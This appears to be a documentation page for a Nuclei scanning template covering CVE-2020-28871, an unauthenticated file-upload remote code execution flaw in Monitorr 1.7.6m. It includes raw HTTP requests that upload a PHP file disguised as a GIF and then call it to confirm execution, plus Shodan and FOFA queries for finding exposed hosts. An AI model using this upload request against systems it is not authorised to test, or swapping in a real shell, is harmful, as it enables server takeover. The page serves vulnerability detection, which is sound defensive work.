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Monitorr 1.7.6m - Unauthenticated Remote Code Execution

ID: CVE-2020-28871

Severity: critical

Author: gy741

Tags: cve,cve2020,unauth,fileupload,monitor,edb,intrusive,packetstorm,rce,monitorr_project,monitorr

Description

Section titled “Description”

Monitorr 1.7.6m is susceptible to a remote code execution vulnerability. Improper input validation and lack of authorization leads to arbitrary file uploads in the web application. An unauthorized attacker with web access to could upload and execute a specially crafted file, leading to remote code execution within the Monitorr.

YAML Source

Section titled “YAML Source”
id: CVE-2020-28871


info:
  name: Monitorr 1.7.6m - Unauthenticated Remote Code Execution
  author: gy741
  severity: critical
  description: Monitorr 1.7.6m is susceptible to a remote code execution vulnerability. Improper input validation and lack of authorization leads to arbitrary file uploads in the web application. An unauthorized attacker with web access to could upload and execute a specially crafted file, leading to remote code execution within the Monitorr.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution on the affected system.
  remediation: |
    Upgrade to a patched version of Monitorr or apply the necessary security patches.
  reference:
    - https://www.exploit-db.com/exploits/48980
    - https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28871
    - http://packetstormsecurity.com/files/163263/Monitorr-1.7.6m-Bypass-Information-Disclosure-Shell-Upload.html
    - http://packetstormsecurity.com/files/170974/Monitorr-1.7.6-Shell-Upload.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-28871
    cwe-id: CWE-434
    epss-score: 0.96887
    epss-percentile: 0.99706
    cpe: cpe:2.3:a:monitorr:monitorr:1.7.6m:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: monitorr
    product: monitorr
    shodan-query: http.favicon.hash:"-211006074"
    fofa-query: icon_hash="-211006074"
  tags: cve,cve2020,unauth,fileupload,monitor,edb,intrusive,packetstorm,rce,monitorr_project,monitorr
variables:
  string: "CVE-2020-28871"


http:
  - raw:
      - |
        POST /assets/php/upload.php HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: text/plain, */*; q=0.01
        Connection: close
        Accept-Language: en-US,en;q=0.5
        X-Requested-With: XMLHttpRequest
        Content-Type: multipart/form-data; boundary=---------------------------31046105003900160576454225745
        Origin: http://{{Hostname}}
        Referer: http://{{Hostname}}


        -----------------------------31046105003900160576454225745
        Content-Disposition: form-data; name="fileToUpload"; filename="{{randstr}}.php"
        Content-Type: image/gif


        GIF89a213213123<?php echo md5("{{string}}");unlink(__FILE__);?>


        -----------------------------31046105003900160576454225745--
      - |
        GET /assets/data/usrimg/{{tolower("{{randstr}}.php")}} HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '{{md5(string)}}'


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100995933100546a4f0a089f6920c72621802d76236c1bf6336544cb2706e2ed7c5022100e8db5aff3fb00d1eefb6327862de7f8d71d5f8461f6c26e7c605a75b572d2ff7:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-28871.yaml"

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